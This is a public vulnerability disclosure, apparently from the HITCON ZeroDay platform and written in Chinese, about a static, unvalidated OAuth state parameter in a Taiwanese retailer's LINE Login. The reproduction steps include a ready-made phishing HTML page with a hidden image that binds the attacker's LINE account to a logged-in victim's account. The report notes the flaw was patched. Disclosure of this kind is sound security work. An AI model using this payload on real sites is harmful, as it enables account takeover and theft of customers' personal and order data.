erotogenic情趣用品界第一把交椅 line login oauth csrf, 靜態state參數導致帳號劫持 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00517
  •  發信 Vendor: erotogenic.com.tw
  • Title: erotogenic情趣用品界第一把交椅 line login oauth csrf, 靜態state參數導致帳號劫持
  • Introduction: state硬編碼 攻擊者拿到code可以對受害者釣魚,進而登入受害者的line帳號
  • 獎勵金

處理狀態

目前狀態

公開
Last Update : 2026/05/19
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/04/08 22:44:13 : 新提交 (由 鄉民 更新此狀態)
  • 2026/04/08 22:49:13 : 新提交 (由 鄉民 更新此狀態)
  • 2026/04/14 19:58:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/13 15:47:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/13 15:47:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/13 15:47:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/14 11:46:04 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/05/15 10:27:02 : 確認已修補 (由 鄉民 更新此狀態)
  • 2026/05/19 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00517
  • 通報者:鄉民
  • 風險:高
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://erotogenic.com.tw/line_login_sure.php

敘述

根據 OAuth 2.0 的規範,state 的參數應該每次產生的值需為隨機的,防止 CSRF,因為此參數是固定且沒有被驗證,攻擊者可以透過將自己 LINE 帳號綁定到任意已經登入的使用者的帳號上,達成 account takeover

Reproduce Step

1. 確認 state 固定

使用 ctrl + u 看網頁 src,找 LINE 的登入連結,可以發現 state 寫死 erotogenic

<a href="https://access.line.me/oauth2/v2.1/authorize?response_type=code&client_id=2001191216&redirect_uri=https%3A%2F%2Ferotogenic.com.tw%2Fline_login_sure.php&state=erotogenic&scope=openid+profile">

2. 確認伺服器不驗證 state

送出帶有無效 code 的 callback request:

GET /line_login_sure.php?code=testinvalidcode&state=erotogenic HTTP/2
Host: erotogenic.com.tw

回應:

<script>alert("token驗證失敗");location.href="https://access.line.me/";</script>

server 會回應 token 驗證失敗,表示跳過 state 驗證,直接進行 code 兌換,如果有驗證 state 的話,應該在 code 兌換以前就拒絕請求

3. 攻擊者取得 OAuth callback URL

  1. 攻擊者開啟 Chrome DevTools → Network tab → 勾選 Preserve log
  2. 攻擊者至 erotogenic.com.tw 點擊「LINE 登入」
  3. 攻擊者使用自己的 LINE 帳號完成授權
  4. LINE 將攻擊者導回 callback,Network tab 可見:
Request URL: https://erotogenic.com.tw/line_login_sure.php?code=I4rPevbaQvhR1uGzK3Hd&state=erotogenic
Method: GET
Status: 200 OK
Referrer: https://access.line.me/

(若使用 proxy 工具攔截 redirect,可取得未消耗的 code)

4. 攻擊者製作釣魚頁面送給受害者

<html>
<body>
  <h1>E大限時特賣活動</h1>
  <img src="https://erotogenic.com.tw/line_login_sure.php?code=ATTACKER_CODE&state=erotogenic"
       style="display:none">
</body>
</html>

5. 受害者(已登入 erotogenic.com.tw)打開此頁面

瀏覽器自動發出 GET request 至 callback endpoint,伺服器將攻擊者的 LINE 帳號綁定到受害者帳號

6. 攻擊者使用 LINE 登入受害者帳號

攻擊者回到 erotogenic.com.tw,使用 LINE 登入,即可進入受害者帳號。

影響

  1. 帳號接管:攻擊者可透過 LINE Login 永久登入受害者帳號
  2. 個資外洩:受害者的姓名、收件地址、電話號碼、訂單紀錄、付款資訊均可被存取
  3. 受害者不知情:LINE 帳號綁定過程無任何通知
  4. 持久性存取:即使受害者更改密碼,攻擊者仍可透過 LINE Login 登入

圖片

修補建議

在產生 LINE OAuth 授權 URL 時,使用 per-session 的隨機 state 值,並在 callback 中驗證

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;